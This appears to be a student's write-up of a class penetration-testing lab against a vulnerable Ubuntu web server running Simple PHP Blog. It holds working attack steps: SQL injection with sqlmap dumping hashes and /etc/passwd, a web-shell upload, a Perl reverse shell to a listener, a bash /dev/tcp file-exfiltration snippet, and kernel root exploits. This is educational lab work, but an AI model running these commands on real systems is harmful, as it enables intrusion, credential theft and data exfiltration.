|| Date: 19-01-18 || Back to index ||
|| Tag: write-up ||

CNIT 124 p19x Write-up

This write-up is my attempt at finishing the p19x project of CNIT 124 class, hosted and created by Mr. Sam Bowne of City College of San Francisco (CCSF). This step covers the “Reporting” section which should be represented to the responsible stakeholders of the server. I will refrain, however, from dialing-down the technical tidbit and use relevant code snippets throughout this write-up for brevity.


Nmap and Google

Machine has a static ip of Initial scan with nmap shows port 22 and 80 open

22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))

nmap also shows the following:

80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!

Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39

The kernel version is identified as 2.6.32 - 2.6.39 and the system is Ubuntu.

We’ve also identified the Apache server as Apache httpd 2.2.17 and OpenSSH as OpenSSH 5.8p1.

A Google search on both services shows the following:

### OpenSSH 5.8p1
Dump from https://www.cvedetails.com/vulnerability-list/vendor_id-97/product_id-585/version_id-188815/Openbsd-Openssh-5.8.html:

1   CVE-2018-15473  
2   CVE-2017-15906  
3   CVE-2016-10708  
4   CVE-2016-0778   
5   CVE-2016-0777   

### Apache httpd 2.2.17
Dump from https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-109443/Apache-Http-Server-2.2.17.html:

1   CVE-2017-7679   
2   CVE-2017-7668   
3   CVE-2017-3169   
4   CVE-2017-3167   
5   CVE-2016-8612   
6   CVE-2016-4975   
7   CVE-2014-0231   
8   CVE-2014-0098   
9   CVE-2013-6438   
10  CVE-2013-2249               
11  CVE-2013-1896   
12  CVE-2013-1862   
13  CVE-2012-4558   
14  CVE-2012-4557   
15  CVE-2012-3499   
16  CVE-2012-2687   
17  CVE-2012-0883   
18  CVE-2012-0053   
19  CVE-2012-0031   
20  CVE-2012-0021   
21  CVE-2011-3639   
22  CVE-2011-3348   
23  CVE-2011-0419   

Could be interesting: https://github.com/mizzy/openssh-script-auth

exploit-db did not reveal anything super useful on either, although there were some username enumeration exploits for OpenSSH below 7.7, which might be worth checking.

Layout of the site with dirb

$ dirb

---- Scanning URL: ----
+ (CODE:302|SIZE:0)
+ (CODE:403|SIZE:288)
+ (CODE:200|SIZE:845)
+ (CODE:200|SIZE:845)
+ (CODE:200|SIZE:50177)
+ (CODE:200|SIZE:50046)
+ (CODE:200|SIZE:1171)
+ (CODE:200|SIZE:1559)
+ (CODE:403|SIZE:293)

---- Entering directory: ----
+ (CODE:302|SIZE:0)
+ (CODE:200|SIZE:1058)
+ (CODE:302|SIZE:0)
+ (CODE:302|SIZE:0)
+ (CODE:200|SIZE:5914)
+ (CODE:302|SIZE:0)
+ (CODE:200|SIZE:8090)
+ (CODE:200|SIZE:8090)
+ (CODE:302|SIZE:0)
+ (CODE:302|SIZE:0)
+ (CODE:200|SIZE:5663)
+ (CODE:302|SIZE:0)
+ (CODE:302|SIZE:0)
+ (CODE:200|SIZE:1407)
+ (CODE:200|SIZE:1233)
+ (CODE:200|SIZE:4947)
+ (CODE:302|SIZE:0)
+ (CODE:302|SIZE:0)
+ (CODE:200|SIZE:5305)
+ (CODE:302|SIZE:0)
+ (CODE:302|SIZE:0)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

dirb identified some useful pages. I see two listings more than the origianl website: /includes and /blog.

“Walking the happy path”

Before doing anything with ZAP or nikto, it’s better to open up the website and examine it, just like a regular user would, while conducting a man-in-the-middle with Burp Proxy. The root (/) website is just a login page.

root page
root page

The blog link is not shown, neither is the /includes pages. We know they exist because of dirb.

blog page
blog page

The responses coming from Burp shows the website using PHP Version 5.3.5-1ubuntu7.

blog response
blog response

This should come in handy. In case we missed all of that, the blog’s bottom-right corner shows us all the “Powered By” information we need

Powered by
Powered by

I also see that it’s powered by Simple PHP Blog 0.4.0. I’ll go over both after this section and see if there are any interesting published material

Manual Finding #1: Interesting CSS “hack”

Could be used for XSS through CSS, maybe?

Manual Finding #2: /blog/contact.php commented javascript

There’s a block of commented javascript here.

<script type="text/javascript">
function validate(theform) 
    if (theform.subject.value=="" || theform.comment.value=="") 
        alert("Please complete the Subject and Comment fields.");
        return false;
    } else 
        return true;

Manual Finding #3: Password and Email Disclosure


This is a vulnerability which stores email and hashed password in web directory root

[email protected]:# curl
No Title|No Author|No Footer|english|new_to_old|new_to_old|1|5|1|b,i,strong,em,url|[email protected]||||||1||

[email protected]:# curl

Manual Finding #4: Cross-site scripting in search.php

I took a sneak-peek through the vulnerability titles while researching SPHPBlog and tried my luck once at making the XSS in search.php work. It did, almost immediately:

Simple PHP Blog looks like a prime suspect. Below are the highlights:

ZAP & Nikto Scanning

Nikto did not detect anything interesting apart from directory listings. dirb already covered that for us.

ZAP reported quite a few false positive XSS and SQL injection, but it did detect the following:

ZAP #1: Disclosure of website source code

I found the source code of the entire blog through /blog/scripts which could be replaced in a mitm attack to execute whatever JS we want immediately. Closer inspection on those scripts might reveal a vulnerability.

ZAP #2: SQL Injection

url: attack: ZAP' OR '1'='1' --in email parameter

Attack confirmed

This will definitely go into the exploitation phase.


In this section, the vulnerabilities discovered in the Reconnaissance section will be revisited and attacked. The goal of this section is to see how deep can we get with the discovered material.

login.php SQL Injection

Attack is confirmed. sqlmap is ideal for working with such an attack

Couldn’t get a shell with sqlmap. The user did not have write permissions

Exploitation Possibility #1: login.php SQL Injection

I took a raw request from Burp for usage with sqlmap

[email protected]:# cat raw_request
POST /login.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Cookie: PHPSESSID=fm0lftoave349j30bu7bdq77o4
Connection: close
Upgrade-Insecure-Requests: 1


[email protected]:# -r raw_request -p email --passwords
database management system users password hashes:
[*] debian-sys-maint [1]:
    password hash: *9366FE2112E650C8E5523AE337B10A625C727943
[*] root [1]:
    password hash: *248E4800AB95A1E412A83374AD8366B0C0780FFF

[email protected]:# -r raw_request -p email --users
database management system users [4]:
[*] 'debian-sys-maint'@'localhost'
[*] 'root'@''
[*] 'root'@'localhost'
[*] 'root'@'web'

[email protected]:# -r raw_request -p email --dbs
available databases [3]:
[*] ch16
[*] information_schema
[*] mysql

[email protected]:# -r raw_request -p email -D ch16 --dump
Database: ch16
Table: users
[2 entries]
| user_id | pass                                     | email            | active | last_name | first_name | user_level | registration_date   |
| 1       | c2c4b4e51d9e23c02c15702c136c3e950ba9a4af | [email protected] | NULL   | Privett   | Dan        | 0          | 2011-05-07 17:27:01 |
| 2       | b1b3773a05c0ed0176787a4f1574ff0075f7521e | [email protected]    | NULL   | bbb       | aa         | 0          | 2018-11-16 21:05:22 |

[email protected]:# -r raw_request -p email --file-read=/etc/passwd
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
mysql:x:0:0:MySQL Server,,,:/root:/bin/bash
dan:x:1000:1000:Dan Privett,,,:/home/dan:/bin/bash

We were able to get a password hashes for both debian-sys-maint and root users, along with the DBMS usernames of all system users. We also got a dump of the entire blog’s userbase. Finally, /etc/passwd was stolen. I’m pretty sure we could’ve also gotten /etc/shadow and if we ran it with john, we might be able to crack a few hashes depending on how this kernel version conducts hashing. For now, this is ideal.

We could not get a shell with --os-shell or --os-pwn parameters in sqlmap. The mysql user could have write permissions and we can confirm that with a --file-write parameter. For now, I’ll revisit this section later on if I couldn’t continue by other means.

While researching SPHPBlog, I stumbled upon this exploit-db link. It’s quite old but the author has laid out an entire script to get a shell through arbitrary file uploads and the password disclosure vulnerability we mentioned. I’ll see if I can move vertically with that script, labelled by exploit-db as 1191.pl, before I continue through with SQL Injection possibilities.

Exploitation Possibility #2: 1191.pl script from exploit-db

Before I continue, I think it’s worth saying mentioning a quickly a note on rationale: after sifting through 1191.pl, it looks like the author spent quite a bit of time researching SPHPBlog 0.4.0 and has chained multiple vulnerabilities in order to gain shell. “Bug Hunting SPHPBlog” is actually not my task, “Attacking PT2 machine” is. There should be no reservations on using 1191.pl script if it would simplify/speed-up the process, just as much as there should be no reservations to use exploit-db, or metasploit to accomplish the task at hand in an expediant manner.

To continue, the execution of 1191.pl script is pretty straight-forward.

    [email protected]:# perl 1191.pl

                      SimplePHPBlog v0.4.0 Exploits
                         Kenneth F. Belva, CISSP

            Usage   : 1191.pl [-h host] [-e exploit]

                    -?      : this menu
                    -h      : host
                    -e      : exploit
                            (1)     : Upload cmd.php in [site]/images/
                            (2)     : Retreive Password file (hash)
                            (3)     : Set New User Name and Password
                                    [NOTE - uppercase switches for exploits]
                                    -U      : user name
                                    -P      : password
                            (4)     : Delete a System File
                                    -F      : Path and System File

            Examples: 1191.pl -h -e 2
                      1191.pl -h -e 3 -U l33t -P l33t
                      1191.pl -h -e 4 -F ./index.php
                      1191.pl -h -e 4 -F ../../../etc/passwd
                      1191.pl -h -e 1

    [email protected]:# perl 1191.pl -h -e 1

    Running cmd.php Upload Exploit....

    Retrieved Username and Password Hash:
    Deleted File: ./config/password.txt
    ./config/password.txt created!
    Username is set to: a
    Password is set to: a
    Logged into SimplePHPBlog at:
    Current Username 'a' and Password 'a'...
    Created cmd.php on your local machine.
    Created reset.php on your local machine.
    Created cmd.php on target host:
    Created reset.php on target host:
    Removed cmd.php from your local machine.
    Failed to POST '': 500 Internal Server Error at 1191.pl line 418.
    Removed reset.php from your local [email protected]:~/p19x#

    [email protected]:# curl
    <hr/><pre>Command: </pre><hr/><br><pre></pre><hr/>.

    [email protected]:~/p19x# curl
    <hr/><pre>Command: whoami</pre><hr/><br><pre>www-data

    [email protected]:~/p19x# curl
    <hr/><pre>Command: whoami</pre><hr/><br><pre>/usr/bin/perl

To summarize, the blog allows uploading of files of arbitrary file types. cmd.php was uploaded as an image from a logged-in user through another vulnerability included in 1191.pl to allow replacement of the password.txt password hash. Now, we have a blog/images/cmd.php uploaded, which allows execution to whatever is supplied to $_GET['cmd'].

We just confirmed that perl is installed by running which perl and got a /usr/bin/perl as an answer. Let’s create a one-liner perl reverse shell. I stole this script from the fantastic and amazing PayloadAllTheThings GitHub repo 1.

In a terminal window:

$ ipython
[nav] In [3]: q = """ -e 'use Socket;$i="";$p=32
     ...: 23;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i
     ...: )))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"""
     ...: import urllib; print(urllib.parse.quote(q))
[nav] In [1]: http%3A//

[email protected]:# curl http%3A//

In another window:

[email protected]:# nc -nlvp 3223

Execute both and switch to listener window:

$ whoami
$ www-data
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 11.04
Release:        11.04
Codename:       natty
$ uname -a
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux

We successfully gained access to www-data user. If we continued with the search.php SQL injection path, we would most probably also get a shell to mysql user.


In this section, the exploited shell with the help of 1191.pl will be revisited in order to escalate priviliges and enumerate the system. Ideally, this section will also involve password hash cracking, but we won’t go through that in this write-up.

PostExp #1: automated scanning & enumeration

We’ll use BeRoot and linuxprivchecker.py in order to enumerate the system and find any possible kernel exploits before doing it manually through exploit-db and Google.

Let’s start with BeRoot. Here’re a few things that caught my eye:

Possible exploits:

[+] [CVE-2009-1185] udev

   Details: https://www.exploit-db.com/exploits/8572/
   Tags: ubuntu=8.10|9.04
   Download URL: https://www.exploit-db.com/download/8572
   Comments: Version<1.4.1 vulnerable but distros use own versioning scheme. Manual verification needed

[+] [CVE-2009-1185] udev 2

   Details: https://www.exploit-db.com/exploits/8478/
   Download URL: https://www.exploit-db.com/download/8478
   Comments: SSH access to non privileged user is needed. Version<1.4.1 vulnerable but distros use own versioning scheme. Manual verification needed

[+] [CVE-2016-5195] dirtycow

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},ubuntu=16.04|14.
   Download URL: https://www.exploit-db.com/download/40611
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2016-5195] dirtycow 2

   Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
   Tags: debian=7|8,RHEL=5|6|7,ubuntu=14.04|12.04,ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: https://www.exploit-db.com/download/40839
   ext-url: https://www.exploit-db.com/download/40847.cpp
   Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh

[+] [CVE-2013-2094] semtex

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Tags: RHEL=6
   Download URL: https://www.exploit-db.com/download/25444

[+] [CVE-2013-2094] perf_swevent

   Details: http://timetobleed.com/a-closer-look-at-a-recent-privilege-escalation-bug-in-linux-cve-2013-2094/
   Tags: RHEL=6,ubuntu=12.04
   Download URL: https://www.exploit-db.com/download/26131

We’ll research those in the next sections. linuxprivchecker.py made a similar exploit dump:


    The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system
    - 2.6 UDEV < 141 Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8572 || Language=c
    - 2.6 UDEV Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/8478 || Language=c
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c

Some cross-referenced exploits between the two tools exist. This is always good. There’s also LinEnum for enumeration, but this is not super necessary.

Side note: Uploading/Downloading Files and Proper TTYs

We’ll need to download exploits/programs to the reversed shell and we’ll need to upload the logs and whatnots back to our Kali VM. To do that, we’ll first need to get a proper TTY, else our movement is pretty restricted and we’ll get a nasty pop-up every time saying “TTY not detected”. A simple thing like running su will be restricted.

The following will work just fine to spawn a nice bash shell with a TTY. Required dependency is python.

echo "import pty; pty.spawn('/bin/bash')" > /tmp/bashme.py
python /tmp/bashme.py

To download files, python -m SimpleHTTPServer on the Kali VM and wget were used to download anything we need to the reversed shell. Append --recursive --no-parent to wget for recursively downloading a directory. Uploading the other way could be achieved through bash and netcat using this amazing script taken from gtfobins.github.io 2.

# Receiver 
nc -nlvp 12345 > "file_to_receive"

# Sender
export RHOST=
export RPORT=12345
export LFILE=passwords
bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'

Let’s get back to our exploits

PostExp #1 Continued: Running Exploits

I’ll run a few of those exploits and see what works. We’ll start with udev and udev2 exploits. The exploit-db links are linked above.

The dirtycow exploits were a bit too much hassle to setup. I’ll make a note to properly research those since this is a prime exploit for many Unix systems. I tried semtex and perf_swevent. Both worked like magic!

Root shell with perf_swevent


$ gcc -o perf_swevent 26131.c
$ ./perf_swevent
uid=0(root) gid=0(root) groups=0(root),33(www-data)

Root shell with semtex


$ gcc -O2 -o semtex 25444.c && ./semtex
stdin: is not a tty
uid=0(root) gid=0(root) groups=0(root),33(www-data)

This concludes the 1191.pl exploit.

PostExp #2: Grepping for stuff

There’s thins one-liner I use frequently to search for passwords and API secret in reversed mobile applications:

grep -RiE "pass|api|key|secret" * 2>/dev/null | wc -l

When I ran it, the results were not favourable:

$ grep -RiE "pass|api|key|secret" * 2>/dev/null | wc -l

I can’t possibly eyeball 22321 results. We’ll need to fine-tune it more

$ grep -RiEI --exclude-dir=/var/lib "pass|api|key|secret" /var 2>/dev/null | wc -l

We can work with that number. Top of the list were

/var/mysqli_connect.php:DEFINE ('DB_PASSWORD', '[email protected]');
/var/mysqli_connect.php:$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
/var/www/mysqli_connect.php:DEFINE ('DB_PASSWORD', 'goodday');
/var/www/mysqli_connect.php:$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );

Two plain-text passwords were fetched: goodday and [email protected].

Conclusions and Other Possibilities

We could’ve played a bit with the password hashes to see if they are easily crackable with john. Now, we even have two plain-text passwords we could test as well. We could’ve ran that MySQL exploit that linuxprivchecker.py showed us. We definitely could’ve added our own SSH keys and login as root, dump the /etc/shadow and have john go at it.

For now, I’m concluding this write-up. Shout-out to Mr. Sam Bowne for preparing this challenge. I’m also crediting the CCSF CPTC 2017 team, as credited by Mr. Sam Bowne in the original challenge overview:

This project is based on the work done by CCSF's CPTC 2017 team:
Elizabeth Biddlecome
Tomas Horvath
Tim Ip
Andrew Mei
Stuart Morris
Joseph Nguyen

  1. PayloadsAllTheThings
  2. https://gtfobins.github.io/gtfobins/bash/#file-upload